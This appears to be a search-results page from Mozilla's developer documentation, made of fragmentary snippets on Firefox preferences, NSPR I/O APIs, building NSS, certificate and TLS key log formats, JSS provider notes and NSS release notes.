ips the pref to true it will be saved as it is not the default. when the user then runs nightly, the preference now has the same value as the default, so is not written by nightly. when the user then runs developeredition again, the preference value will be false as no user preference was written by nightly. if the preference is defined as a sticky preference, the value true will be written by night...
Preferences
for add-ons, but if you're working on a gecko application, this api is the preferred way to access preferences. mozilla networking preferences a guide to key networking-related preferences. ...
...ko application, this api is the preferred way to access preferences. mozilla networking preferences a guide to key networking-related preferences. mozilla preferences for uber-geeks a guide to preferences that only truly elite geeks should play with. ...
... mozilla preferences for uber-geeks a guide to preferences that only truly elite geeks should play with. examples code sn
ippets preference-related code sn
ippets. ...
Research and prep
osing based on popularity is fine. examples from various localizations some examples from en-us web service provider rationale global search google best user experience and broadest results. e-commerce search amazon broad set of products, simple search interface with no/limited advertising, popular shopping engine. specific interest wik
ipedia good user experience (no ads, simple interface), popular site. rss reader google reader popular, no advertising, simple interface. some examples from es-es web service provider rationale global search google best user experience and broadest results. e-commerce search amazon broad set of products, simple search interface...
...er google reader popular, no advertising, simple interface. some examples from es-es web service provider rationale global search google best user experience and broadest results. e-commerce search amazon broad set of products, simple search interface with no/limited advertising, popular shopping engine. specific interest wik
ipedia good user experience (no ads, simple interface), popular site. rss reader google reader popular, no advertising, simple interface. some examples from wo web service provider rationale global search google best user experience and broadest results. e-commerce search amazon broad set of products, simple search interface wi...
...eader google reader popular, no advertising, simple interface. some examples from wo web service provider rationale global search google best user experience and broadest results. e-commerce search amazon broad set of products, simple search interface with no/limited advertising, popular shopping engine. specific interest wik
ipedia good user experience (no ads, simple interface), popular site. rss reader google reader popular, no advertising, simple interface. next >> ...
A guide to searching crash reports
in bugzilla. the default search: crash reports if you switch to the "crash reports" tab you will see results like the ones in the following screenshot. this is a list of all the individual crash reports that match the search criteria. if the number of matches is large -- in this case it exceeds 1.3 million, just as we saw in the "signature facet" tab -- the results will be spread across mult
iple pages, which you can visit by clicking the links at the top right of the tab. the links within the results do the following things. the link in each "crash id" column cell links to an individual crash report. the links in each "signature" column cell have the same effect that they did in the "signature facet" tab. the links in the remaining column cells also let you perform a narrower sub...
... in each "signature" column cell have the same effect that they did in the "signature facet" tab. the links in the remaining column cells also let you perform a narrower subsequent search with that link's value added to the search criteria. a narrower search you can add criteria to perform a narrower search. for example, to perform a search for all mac crash reports that occurred while javascr
ipt garbage collection was running, do the following. add "mac os x" to the "platform" field. select "new line", and then choose a field ("is garbage collecting") and an operator ("is true"). the operators available for each field depends on its type. with these criteria added the search form looks like the following screenshot. after clicking on "search" we get results like those in the fo...
...eans that the results of any search can be easily shared by copying and pasting the page's url. to become an expert at searching and grouping requires understanding the full range of the 100+ fields available for searching and grouping. one way to learn about them is to read lots of individual crash reports; note that all fields shown in the details tab of an individual crash report have a tool-t
ip that indicates its key for search. alternatively, you can browse the complete list. there is also an api through which searches can be performed programmatically. see the api documentation for full details; note that it uses the term "aggregation" for grouping/faceting. ...
NSPR Poll Method
pr_poll uses the poll method behind the scene, but it is also possible to use the poll method directly. we consider a stack of nspr i/o layers on top of the network transport. each i/o layer is represented by a prfiledesc structure and the protocol of that layer is implemented by a priomethods table. ...
...hod stores zero in *out_flags, the return value will be the bottom layer's desires with respect to the in_flags. those are the events that the caller should poll the underlying network transport for. these events may be different from the events in in_flags (which reflect the caller's view) for some protocols. how to use the poll method the poll method should only be used with a nspr file descr
iptor in non-blocking mode. most nspr clients call pr_poll and do not call the poll method directly. however, pr_poll can only used with a stack whose bottom layer is nspr's reference implementation. if you are using your own implementation of the bottom layer, you must call the poll method as follows. declare two print16 variables to receive the return value and the out_flags output argument of the...
...od. print16 new_flags, out_flags; if you are going to call pr_recv, pass pr_poll_read as the in_flags argument. new_flags = fd->methods->poll(fd, pr_poll_read, &out_flags); if you are going to call pr_send, pass pr_poll_write as the in_flags argument. new_flags = fd->methods->poll(fd, pr_poll_write, &out_flags); if you are interested in calling both pr_recv and pr_send on the same file descr
iptor, make two separate calls to the poll method, one with pr_poll_read as in_flags and the other with pr_poll_write as in_flags, so that you know what events at the network transport layer pr_poll_read and pr_poll_write are mapped to, respectively. on return, if (new_flags & out_flags) is nonzero, you can try pr_recv or pr_send immediately. otherwise ((new_flags & out_flags) is 0), you should do t...
PRHostEnt
6 h_length; #else print32 h_addrtype; print32 h_length; #endif char **h_addr_list; } prhostent; fields the structure has the following fields: h_name pointer to the official name of host. h_aliases pointer to a pointer to list of aliases. the list is terminated with a null entry. h_addrtype host address type. ...
... #else print32 h_addrtype; print32 h_length; #endif char **h_addr_list; } prhostent; fields the structure has the following fields: h_name pointer to the official name of host. h_aliases pointer to a pointer to list of aliases. the list is terminated with a null entry. h_addrtype host address type. for valid nspr usage, this field must have a value indicating either an
ipv4 or an
ipv6 address. h_length length of internal representation of the address in bytes. all of the addresses in the list are of the same type and therefore of the same length. h_addr_list pointer to a pointer to a list of addresses from name server (in network byte order). the list is terminated with a null entry. descr
iption this structure is used by many of the network address functions. all addr...
...d therefore of the same length. h_addr_list pointer to a pointer to a list of addresses from name server (in network byte order). the list is terminated with a null entry. descr
iption this structure is used by many of the network address functions. all addresses are passed in host order and returned in network order (suitable for use in system calls). use the network address functions to man
ipulate the prhostent structure. to make the transition to
ip version 6 easier, it's best to treat prhostent as an opaque structure. note winsock.h defines h_addrtype and h_length as a 16-bit field, whereas other platforms treat it as a 32-bit field. the #ifdef in the structure allows direct assignment of the prhostent structure. ...
PRSockOption
enumeration type used in the option field of prsocketoptiondata to form the name portion of a name-value pair. syntax #include <prio.h> typedef enum prsockoption { pr_sockopt_nonblocking, pr_sockopt_linger, pr_sockopt_reuseaddr, pr_sockopt_keepalive, pr_sockopt_recvbuffersize, pr_sockopt_sendbuffersize, pr_sockopt_
iptimetolive, pr_sockopt_
iptypeofservice, pr_sockopt_addmember, pr_sockopt_dropmember, pr_sockopt_mcastinterface, pr_sockopt_mcasttimetolive, pr_sockopt_mcastloopback, pr_sockopt_nodelay, pr_sockopt_maxsegment, pr_sockopt_last } prsockoption; enumerators the enumeration has the following enumerators: pr_sockopt_nonblocking nonblocking i/o. pr_sockopt_linger time to linger on close if data is present in the socket send buffer. pr_sockopt...
...n has the following enumerators: pr_sockopt_nonblocking nonblocking i/o. pr_sockopt_linger time to linger on close if data is present in the socket send buffer. pr_sockopt_reuseaddr allow local address reuse. pr_sockopt_keepalive periodically test whether connection is still alive. pr_sockopt_recvbuffersize receive buffer size. pr_sockopt_sendbuffersize send buffer size. pr_sockopt_
iptimetolive
ip time-to-live. pr_sockopt_
iptypeofservice
ip type-of-service and precedence. pr_sockopt_addmember join an
ip multicast group. pr_sockopt_dropmember leave an
ip multicast group. pr_sockopt_mcastinterface
ip multicast interface address. pr_sockopt_mcasttimetolive
ip multicast time-to-live. pr_sockopt_mcastloopback
ip multicast loopback. pr_sockopt_nodelay disable nagle al...
...cast group. pr_sockopt_mcastinterface
ip multicast interface address. pr_sockopt_mcasttimetolive
ip multicast time-to-live. pr_sockopt_mcastloopback
ip multicast loopback. pr_sockopt_nodelay disable nagle algorithm. don't delay send to coalesce packets. pr_sockopt_maxsegment maximum segment size. pr_sockopt_last always one greater than the maximum valid socket option numerator. descr
iption the prsockoption enumeration consists of all the socket options supported by nspr. the option field of prsocketoptiondata should be set to an enumerator of type prsockoption. ...
PR_GetSpecialFD
gets the file descr
iptor that represents the standard input, output, or error stream. syntax #include <prio.h> prfiledesc* pr_getspecialfd(prspecialfd id); parameter the function has the following parameter: id a pointer to an enumerator of type prspecialfd, indicating the type of i/o stream desired: pr_standardinput, pr_standardoutput, or pr_standarderror. returns if the id parameter is valid, pr_getspecialfd returns a file descr
iptor that represents the corresponding standard i/o stream. otherwise, pr_getspecialfd returns null and sets the error to pr_invalid_argument_error. ...
...parameter: id a pointer to an enumerator of type prspecialfd, indicating the type of i/o stream desired: pr_standardinput, pr_standardoutput, or pr_standarderror. returns if the id parameter is valid, pr_getspecialfd returns a file descr
iptor that represents the corresponding standard i/o stream. otherwise, pr_getspecialfd returns null and sets the error to pr_invalid_argument_error. ...
...specialfd returns null and sets the error to pr_invalid_argument_error. descr
iption type prspecialfd is defined as follows: typedef enum prspecialfd{ pr_standardinput, pr_standardoutput, pr_standarderror } prspecialfd; #define pr_stdin pr_getspecialfd(pr_standardinput) #define pr_stdout pr_getspecialfd(pr_standardoutput) #define pr_stderr pr_getspecialfd(pr_standarderror) file descr
iptors returned by pr_getspecialfd are owned by the runtime and should not be closed by the caller. ...
PR_Open
cessed. it is a bitwise or of the following bit flags. in most cases, only one of the first three flags may be used. if the flags parameter does not include any of the first three flags (pr_rdonly, pr_wronly, or pr_rdwr), the open file can't be read or written, which is not useful. note: the constants pr_rdwr and friends are not in any interface (bug 433295). thus they cannot be used in javascr
ipt, you have to use the octal constants (see file i/o sn
ippets). name value descr
iption pr_rdonly 0x01 open for reading only. pr_wronly 0x02 open for writing only. pr_rdwr 0x04 open for reading and writing. pr_create_file 0x08 if the file does not exist, the file is created. if the file e...
... mode when pr_create_file flag is set and the file is created, these flags define the access permission bits of the newly created file. this feature is currently only applicable on unix platforms. it is ignored by any other platform but it may apply to other platforms in the future. possible values of the mode parameter are listed in the table below. name value descr
iption pr_irwxu 0700 read, write, execute/search by owner. pr_irusr 0400 read permission, owner. pr_iwusr 0200 write permission, owner. pr_ixusr 0100 execute/search permission, owner. pr_irwxg 0070 read, write, execute/search by group pr_irgrp 0040 read permission, group ...
... write permission, others pr_ixoth 0001 execute/search permission, others returns the function returns one of the following values: if the file is successfully opened, a pointer to a dynamically allocated prfiledesc for the newly opened file. the prfiledesc should be freed by calling pr_close. if the file was not opened successfully, a null pointer. descr
iption pr_open creates a file descr
iptor (prfiledesc) for the file with the pathname name and sets the file status flags of the file descr
iptor according to the value of flags. if a new file is created as a result of the pr_open call, its file mode bits are set according to the mode parameter. ...
PR_PushIOLayer
r is to be added. layer a pointer to a prfiledesc object representing the new layer to be added to the stack. returns the function returns one of the following values: if the layer is successfully pushed onto the stack, pr_success. if the layer is not successfully pushed onto the stack, pr_failure. use pr_geterror to get additional information regarding the reason for the failure. descr
iption a file descr
iptor for a layer (possibly allocated using pr_createiolayerstub) may be pushed onto an existing stack of file descr
iptors at any time. the new layer is inserted into the stack just above the layer with the identity specified by id. even if the id parameter indicates the topmost layer of the stack, the value of the file descr
iptor describing the original stack will not change. i...
...y id. even if the id parameter indicates the topmost layer of the stack, the value of the file descr
iptor describing the original stack will not change. in other words, stack continues to point to the top of the stack after the function returns. caution keeping the pointer to the stack even as layers are pushed onto the top of the stack is accomplished by swapping the contents of the file descr
iptor being pushed and the stack's current top layer file descr
iptor. the intent is that the pointer to the stack remain the stack's identity even if someone (perhaps covertly) has pushed other layers. some subtle ramifications: the ownersh
ip of the storage pointed to by the caller's layer argument is relinquished to the runtime. accessing the object via the pointer is not permitted while the ru...
...the correct mechanism to access the object is to get a pointer to it by calling pr_getidentitieslayer. the contents of the caller's object are swapped into another container, including the reference to the object's destructor. ...
NSPR API Reference
ope process initialization identity and versioning name and version constants initialization and cleanup module initialization locks lock type lock functions condition variables condition variable type condition variable functions monitors monitor type monitor functions cached monitors cached monitor functions i/o types directory type file descr
iptor types file info types network address types types used with socket options functions type used with memory-mapped i/o offset interpretation for seek functions i/o functions functions that operate on pathnames functions that act on file descr
iptors directory i/o functions socket man
ipulation functions converting between host and network addresses memory-mapped i/o functions anon...
...es file info types network address types types used with socket options functions type used with memory-mapped i/o offset interpretation for seek functions i/o functions functions that operate on pathnames functions that act on file descr
iptors directory i/o functions socket man
ipulation functions converting between host and network addresses memory-mapped i/o functions anonymous p
ipe function polling functions pollable events man
ipulating layers network addresses network address types and constants network address functions atomic operations pr_atomicincrement pr_atomicdecrement pr_atomicset interval timing interval time type and constants interval functions date and time types and constants time parameter callback functions functions memory ma...
...ing functions and macros pr_newlogmodule pr_setlogfile pr_setlogbuffering pr_logprint pr_logflush pr_log_test pr_log pr_assert pr_assert pr_not_reached use example instrumentation counters named shared memory shared memory protocol named shared memory functions anonymous shared memory anonymous memory protocol anonymous shared memory functions
ipc semaphores
ipc semaphore functions thread pools thread pool types thread pool functions random number generator random number generator function hash tables hash tables and type constants hash table functions nspr error handling error type error functions error codes ...
Function_Name
describe all side-effects on "out" parameters. ...
...at it returns). syntax #include <headers.h> returntype function_name( paramtype paramname, paramtype paramname, ); parameters paramname sample: in pointer to a certcertdbhandle representing the certificate database to look in paramname sample: in pointer to an secitem whose type must be sidercertbuffer and whose data contains a der-encoded certificate descr
iption long descr
iption of this function, what it does, and why you would use it. describe all side-effects on "out" parameters. avoid describing the return until the next section, for example: this function looks in the nsscryptocontext and the nsstrustdomain to find the certificate that matches the der-encoded certificate. a match is found when the issuer and serial number of the der-encoded cert...
...ribe all side-effects on "out" parameters. avoid describing the return until the next section, for example: this function looks in the nsscryptocontext and the nsstrustdomain to find the certificate that matches the der-encoded certificate. a match is found when the issuer and serial number of the der-encoded certificate are found on a certificate in the certificate database. returns full descr
iption of the return value, for example: a pointer to a certcertificate representing the certificate in the database that matched the dercert, or null if none was found. the certificate is a shallow copy, use cert_destroycertificate to decrement the reference count on the certificate instance. see also copy of the mxr link, with the following text occurrences of function_name in the current nss s...
Building NSS
e nss and nspr use mercurial for source control like other mozilla projects. to check out the latest sources for nss and nspr--which may not be part of a stable release--use the following commands: hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss to get the source of a specific release, see nss releases. build build nss using our build scr
ipt: nss/build.sh this builds both nspr and nss. build with make alternatively, there is a make target called "nss_build_all", which produces a similar result. this supports some alternative options, but can be a lot slower. make -c nss nss_build_all use_64=1 the make-based build system for nss uses a variety of variables to control the build. below are some of the variables, along with pos...
...his is the default. 1 build an optimized (non-debug) version of nss. use_64 0 build for a 32-bit environment/abi. this is the default. 1 build for a 64-bit environment/abi. this is recommended. use_asan 0 do not create an addresssanitizer build. this is the default. 1 create an addresssanitizer build. unit testing nss contains extensive unit tests. scr
ipts to run these are found in the tests directory. run the standard suite by: host=localhost domsuf=localdomain use_64=1 nss/tests/all.sh unit test configuration nss tests are configured using environment variables. the scr
ipts will attempt to infer values for host and domsuf, but can fail. replace localhost and localdomain with the hostname and domain suffix for your host. you need to be able ...
...ate this opening a command shell and typing: ping localhost.localdomain. remove the use_64=1 override if using a 32-bit build. test results running all tests can take a considerable amount of time. test output is stored in tests_results/security/$host.$number/. the file results.html summarizes the results, output.log captures all the test output. other subdirectories of nss/tests contain scr
ipts that run a subset of the full suite. those can be run directly instead of all.sh, which might save some time at the cost of coverage. ...
NSS Certificate Download Specification
. in all cases the certificates are x509 version 1, 2, or 3. binary formats nss's certificate loader will recognize several binary formats. they are: der encoded certificate: this is a single binary der encoded certificate. pkcs#7 certificate chain: this is a single pkcs#7 signeddata object. the only significant field in the signeddata object is the certificates field, which may contain mult
iple certificates to be imported together. the contents of the version, digestalgorithms, contentinfo, crls, and signerinfos fields are ignored. netscape certificate sequence: this is another pkcs#7 object format, and like the signeddata format, it allows mult
iple certificates to be imported together. this format is simpler than the pkcs#7 signeddata object format. it consists of a pkcs#7 contentin...
...pler than the pkcs#7 signeddata object format. it consists of a pkcs#7 contentinfo structure, wrapping a sequence of certificates. the contenttype field oid must be netscape-cert-sequence (see object identifiers). the content field is the following asn.1 structure: certificatesequence ::= sequence of certificate see the section below on certificate chains for more information about how mult
iple certificates are handled. text formats any of the above binary formats can also be imported in text form. the text form begins with the following line: -----begin certificate----- following this line should be the certificate data, which can be in any of the binary formats described above. this data must be base64 encoded as described by rfc 1113. following the data should be the follow...
...gin and end lines must say certificate, and not any other word (such as key). the begin and end lines must begin and end with 5 dashes, with no extra leading or trailing white space (excluding the end of line characters). importing certificate chains several of the formats described above can contain several certificates. when nss's certificate decoder encounters one of these collections of mult
iple certificates they are handled in the following way: the first certificate is processed in a context specific manner, depending upon how it is being imported. for mozilla browsers, this handling will depend upon the mime content-type that is used on the object being downloaded. for nss-based servers it will depend upon the options selected in the server's administration interface. subsequ...
Deprecated SSL functions
below. each function name is linked to its entry in the old ssl reference. the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references. ...
...s linked to its entry in the old ssl reference. the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references. ...
... function name/documentation source code replacement in nss 3.2 ssl_enable mxr ssl_optionset ssl_enablec
ipher mxr ssl_c
ipherprefsetdefault ssl_enabledefault mxr ssl_optionsetdefault ssl_redohandshake mxr ssl_rehandshake ssl_setpolicy mxr ssl_c
ipherpolicyset ...
JSS Provider Notes
the provider's name is "mozilla-jss". it implements cryptographic operations in native code using the nss libraries. contents signed jar file installing the provider specifying the cryptotoken supported classes what's not supported signed jar file jss 3.2 implements several jce (java cryptography extension) algorithms. ...
...l happen on tokena because tokena // was the per-thread default token when rsakpg was created. rsakpg.initialize(1024); keypair rsapair = rsakpg.generatekeypair(); // generate a dsa keypair. this will happen on tokenb because tokenb // was the per-thread default token when dsakpg was created. dsakpg.initialize(1024); keypair dsapair = dsakpg.generatekeypair(); supported classes c
ipher dsaprivatekey dsapublickey keyfactory keygenerator keypairgenerator mac messagedigest rsaprivatekey rsapublickey secretkeyfactory secretkey securerandom signature what's not supported the following classes don't work very well: keystore: there are many serious problems mapping the jca keystore interface onto nss's model of pkcs #11 modules. the current im...
...re are many serious problems mapping the jca keystore interface onto nss's model of pkcs #11 modules. the current implementation is almost useless. since these problems lie deep in the nss design and implementation, there is no clear timeframe for fixing them. meanwhile, the org.mozilla.jss.crypto.cryptostore class can be used for some of this functionality. ...
Mozilla-JSS JCA Provider notes
the provider's name is "mozilla-jss". it implements cryptographic operations in native code using the nss libraries. contents signed jar file installing the provider specifying the cryptotoken supported classes what's not supported signed jar file jss implements several jce (java cryptography extension) algorithms. these algorithms have at various times been export-controlled by the us government. jre therefore requires that jar files implementing jce algorithms be digitally signed by an approved organization. ...
...pair. this will happen on tokena because tokena // was the per-thread default token when rsakpg was created. rsakpg.initialize(1024); keypair rsapair = rsakpg.generatekeypair(); // generate a dsa keypair. this will happen on tokenb because tokenb // was the per-thread default token when dsakpg was created. ...
...nerate a dsa keypair. this will happen on tokenb because tokenb // was the per-thread default token when dsakpg was created. ...
NSS Key Log Format
comment lines begin with a sharp character ('#') and are ignored. secrets follow the format <label> <space> <clientrandom> <space> <secret> where: <label> describes the following secret. <clientrandom> is 32 bytes random value from the client hello message, encoded as 64 hexadecimal characters. <secret> depends on the label (see below). ...
...c secret for the client side (for tls 1.3) server_traffic_secret_0: the first hex-encoded application traffic secret for the server side (for tls 1.3) early_exporter_secret: the hex-encoded early exporter secret (for tls 1.3, used for 0-rtt keys in older quic drafts). exporter_secret: the hex-encoded exporter secret (for tls 1.3, used for 1-rtt keys in older quic drafts) the rsa form allows c
iphersuites using rsa key-agreement to be logged and was the first form supported by wireshark 1.6.0. it has been superseded by client_random which also works with other key-agreement algorithms (such as those based on diffie-hellman) and is supported since wireshark 1.8.0. the tls 1.3 lines are supported since nss 3.34 (bug 1287711) and wireshark 2.4 (early_exporter_secret exists since nss 3.35, b...
...ported by wireshark 1.6.0. it has been superseded by client_random which also works with other key-agreement algorithms (such as those based on diffie-hellman) and is supported since wireshark 1.8.0. the tls 1.3 lines are supported since nss 3.34 (bug 1287711) and wireshark 2.4 (early_exporter_secret exists since nss 3.35, bug 1417331). the size of the hex-encoded secret depends on the selected c
ipher suite. it is 64, 96 or 128 characters for sha256, sha384 or sha512 respectively. for wireshark usage, see ssl - wireshark wiki. ...
NSS_3.11.10_release_notes.html
on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_11_10_rtm/src/. binary distributions: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_11_10_rtm/. both debug and optimized builds are provided. go to the subdirectory for your platform, dbg (debug) or opt (optimized), to get the tar.gz or z
ip file. the tar.gz or z
ip file expands to an nss-3.11.10 directory containing three subdirectories: include - nss header files lib - nss shared libraries bin - nss tools and test programs you also need to download the nspr 4.7.1 binary distributions to get the nspr 4.7.1 header files and shared libraries, which nss 3.11.10 requires. nspr 4.7.1 binary distributions are in https...
.../mozilla.org/nspr/releases/v4.7.1/. bugs fixed the following bugs have been fixed in nss 3.11.10. bug 291384: certutil -k behavior doesn't match usage bug 374247: modutil -disable command not disabling modules' slots bug 384459: certification path validation fails when authority key identifier extension contains key identifier bug 385946: can't import certificate into cert database in f
ips mode (certutil). bug 387892: add entrust root ca certificate(s) to nss bug 396999: pk11_authenticate bug 397478: lock from ssl_initsymwrapkeyslock not freed on selfserv shutdown. bug 397486: session cache locks not freed on strsclnt shutdown. bug 398680: assertion botch in ssl3_registerserverhelloextensionsender doing second handshake with ssl_forcehandshake bug 403240: threads hangi...
...assertion botch in ssl3_registerserverhelloextensionsender doing second handshake with ssl_forcehandshake bug 403240: threads hanging in nss_initlock bug 403888: memory leak in trustdomain.c bug 416067: certutil -l -h token doesn't report token authentication failure bug 417637: tstclnt crashes if -p option is not specified bug 421634: don't send an sni client hello extension bearing an
ipv6 address bug 422918: add verisign class 3 public primary ca - g5 to nss bug 424152: add thawte primary root ca to nss bug 424169: add geotrust primary certification authority root to nss bug 425469: add mult
iple new roots: geotrust bug 426568: add comodo certification authority certificate to nss bug 431381: add network solutions certificate authority root to nss bug 431621: add di...
NSS 3.12.5 release_notes
strings are owned by the caller, who is free to free them once nss_contextinit returns. if the string parameter is null (as opposed to empty, zero length), then the softoken default is used. these are equivalent to the parameters for pk11_configurepkcs11(). see the following struct in nss.h for details: nssinitparametersstr other new functions in secmod.h: secmod_getsk
ipfirstflag secmod_getdefaultmoddbflag in prlink.h nss_securememcmp port_loadlibraryfromorigin modified functions sgn_update (see cryptohi.h) the parameter "input" of this function is changed from unsigned char * to const unsigned char *. pk11_configurepkcs11 (see nss.h) the name of some parameters have been slightly changed ("des" became "desc"). ...
...(item, pr_false) or port_free(item->data) call. in secasn1.h: if both pool and dest are null, the caller should free the returned secitem with a secitem_freeitem(..., pr_true) call. if pool is null but dest is not null, the caller should free the data buffer pointed to by dest with a secitem_freeitem(dest, pr_false) or port_free(dest->data) call. environment variables nss_f
ips will start nss in f
ips mode. nss_ssl_enable_renegotiation nss_ssl_require_safe_negotiation see ssl3 & tls renegotiation vulnerability. bugs fixed the following bugs have been fixed in nss 3.12.5. bug 510435: remove unused make variable dso_ldflags bug 510436: add macros for build numbers (4th component of version number) to nssutil.h bug 511227: firefox 3.0.1...
...tiation vulnerability. bugs fixed the following bugs have been fixed in nss 3.12.5. ...
NSS 3.14.1 release notes
tialize nss via the nss_nodb_init function. nss 3.14.1 includes the complete fix for this issue. bug 357025 - nss 3.14 added support for tokens that make use of cka_always_authenticate. however, when authenticating with such tokens, it was possible for an internal lock to be acquired twice, causing a hang. this hang has been fixed in nss 3.14.1. ...
...n authenticating with such tokens, it was possible for an internal lock to be acquired twice, causing a hang. this hang has been fixed in nss 3.14.1. bug 802429 - in previous versions of nss, the "c
ipherorder" slot configuration flag was not respected, causing the most recently added slot that supported the requested pkcs#11 mechanism to be used instead. nss now correctly respects the supplied c
ipherorder. applications which use mult
iple pkcs#11 modules, which do not indicate which tokens should be used by default for particular algorithms, and which do make use of c
ipherorder may now find that cryptographic operations occur on a different pkcs#11 token. bug 802429 - the nss softoken is now the default token for sha-256 and sha-512. in previous versions of nss, these algorithms would...
...w the default token for sha-256 and sha-512. in previous versions of nss, these algorithms would be handled by the most recently added pkcs#11 token that supported them. bug 611451 - when built with the current version of apple xcode on mac os x, the nss shared libraries will now only export the public nss functions. bug 810582 - tls false start is now only used with servers that negotiate a c
ipher suite that supports forward secrecy. note: the criteria for false start may change again in future nss releases. bugs fixed in nss 3.14.1 the following bugzilla query returns all of the bugs fixed in nss 3.14.1: https://bugzilla.mozilla.org/buglist.cgi?list_id=5216669;resolution=fixed;query_format=advanced;bug_status=resolved;bug_status=verified;target_milestone=3.14.1;product=nss compata...
NSS 3.15.3 release notes
ve-2013-5605) handle invalid handshake packets bug 910438 - (cve-2013-5606) return the correct result in cert_verifycert on failure, if a verifylog isn't used new in nss 3.15.3 new functionality no new major functionality is introduced in this release. this release is a patch release to address cve-2013-1741, cve-2013-5605 and cve-2013-5606. ...
... handshake packets bug 910438 - (cve-2013-5606) return the correct result in cert_verifycert on failure, if a verifylog isn't used new in nss 3.15.3 new functionality no new major functionality is introduced in this release. this release is a patch release to address cve-2013-1741, cve-2013-5605 and cve-2013-5606. ...
...he correct result in cert_verifycert on failure, if a verifylog isn't used new in nss 3.15.3 new functionality no new major functionality is introduced in this release. this release is a patch release to address cve-2013-1741, cve-2013-5605 and cve-2013-5606. bugs fixed in nss 3.15.3 bug 850478 - list rc4_128 c
ipher suites after aes_128 c
ipher suites bug 919677 - don't advertise tls 1.2-only c
iphersuites in a tls 1.1 clienthello a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&target_milestone=3.15.3&product=nss compatibility nss 3.15.3 shared libraries are backward compatible with all older nss 3.x shared libraries. a program linked with older nss 3.x shared ...
NSS 3.16.2.3 release notes
distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_3_rtm/src/ new in nss 3.16.2.3 this patch release fixes a bug and contains a backport of the tls_fallback_scsv feature, which was originally made available in nss 3.17.1. ...
...previously nss would only validate the peer's public key before performing ecdh key agreement. now ec public keys are validated at import time. ...
...previously nss would only validate the peer's public key before performing ecdh key agreement. ...
NSS 3.35 release notes
ts that need to adopt to the new default. if nss is initialized, in read-write mode with a database directory provided, it uses database files to store certificates, key, trust, and other information. nss supports two different database file formats: dbm: the legacy file format, based on berkeley db, using filenames cert8.db, key3.db and secmod.db. parallel database access, by mult
iple applications, is forbidden as it will likely result in data corruption. sql: the newer file format, based on sqlite, using filenames cert9.db, key4.and and pkcs11.txt. parallel database access, by mult
iple applications, is supported. applications using nss may explicitly request to use a specific database format, by adding a type prefix to the database directory, provided at ns...
...:41:e6:f5:cc:4e:e6:3b:71:b3:61:60:6a:c3 cn = global chambersign root sha-256 fingerprint: ef:3c:b4:17:fc:8e:bf:6f:97:87:6c:9e:4e:ce:39:de:1e:a5:fe:64:91:41:d1:02:8b:7d:11:c0:b2:29:8c:ed significant changes to tls 1.3 were made, along with the update from draft -18 to draft -23: support for keyupdate was added. keyupdate will be used automatically, if a c
ipher is used for a sufficient number of records. ssl_keylogfile support was updated for tls 1.3. an option to enable tls 1.3 compatibility mode, ssl_enable_tls13_compat_mode, was added. note: in this release, support for new rsa_pss_pss_shax signature schemes have been disabled; end-entity certificates with rsa-pss keys will still be used to produce signatures, but they will use the rsa_ps...
...supported_experimental_api code if the selected api is not available. experimental functions will always return this result if they are disabled or removed from a later nss release. if these experimental functions are made permanent in a later nss release, no change to code is necessary. (only apis exported in *.def files are stable apis.) new experimental functionality provided below are descr
iptions of experimental functionality, which might not be available in future releases of nss. users of tls are now able to provide implementations of tls extensions, through an experimental custom extension api. see the documentation in sslexp.h for ssl_installextensionhooks for more information on this feature. several experimental apis were added in support of tls 1.3 features: tls serv...
NSS 3.46 release notes
reset advertised extensions in ssl_constructextensions bug 1415118 - nss build with ./build.sh --enable-libpkix fails bug 1539788 - add length checks for cryptographic primitives (cve-2019-17006) bug 1542077 - mp_set_ulong and mp_set_int should return errors on bad values bug 1572791 - read out-of-bounds in der_decodetimechoice_util from sslexp_delegatecredential bug 1560593 - cleanup.sh scr
ipt does not set error exit code for tests that "failed with core" bug 1566601 - add wycheproof test vectors for aes-kw bug 1571316 - curve25519_32.c:280: undefined reference to `pr_assert' when building nss 3.45 on armhf-linux bug 1516593 - client to generate new random during renegotiation bug 1563258 - f
ips.sh fails due to non-existent "resp" directories bug 1561598 - remove -wmaybe-uninitia...
...g nss 3.45 on armhf-linux bug 1516593 - client to generate new random during renegotiation bug 1563258 - f
ips.sh fails due to non-existent "resp" directories bug 1561598 - remove -wmaybe-uninitialized warning in pqg.c bug 1560806 - increase softoken password max size to 500 characters bug 1568776 - output paths relative to repository in nss coverity bug 1453408 - modutil -changepw fails in f
ips mode if password is an empty string bug 1564727 - use a pss spki when possible for delegated credentials bug 1493916 - fix ppc64 inline assembler for clang bug 1561588 - remove -wmaybe-uninitialized warning in p7env.c bug 1561548 - remove -wmaybe-uninitialized warning in pkix_pl_ldapdefaultclient.c bug 1512605 - incorrect alert descr
iption after unencrypted finished msg bug 1564715 - read ...
... image to pull specific commit bug 1559012 - improve gcm perfomance using pmull2 bug 1528666 - correct resumption validation checks bug 1568803 - more tests for client certificate authentication bug 1564284 - support profile mobility across windows and linux bug 1573942 - gtest for pkcs11.txt with different breaking line formats bug 1575968 - add strsclnt option to enforce the use of either
ipv4 or
ipv6 bug 1549847 - fix nss builds on ios bug 1485533 - enable nss_ssl_tests on taskcluster this bugzilla query returns all the bugs fixed in nss 3.46: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.46 compatibility nss 3.46 shared libraries are backward compatible with all older nss 3.x shared li...
NSS 3.51 release notes
implementation to draft-34. see bug 1608892 for details. bugs fixed in nss 3.51 bug 1608892 - update dtls 1.3 implementation to draft-34. bug 1611209 - correct swapped pkcs11 values of ckm_aes_cmac and ckm_aes_cmac_general bug 1612259 - complete integration of wycheproof ecdh test cases bug 1614183 - check if ppc __has_include(<sys/auxv.h>) bug 1614786 - fix a compilation error for 'getf
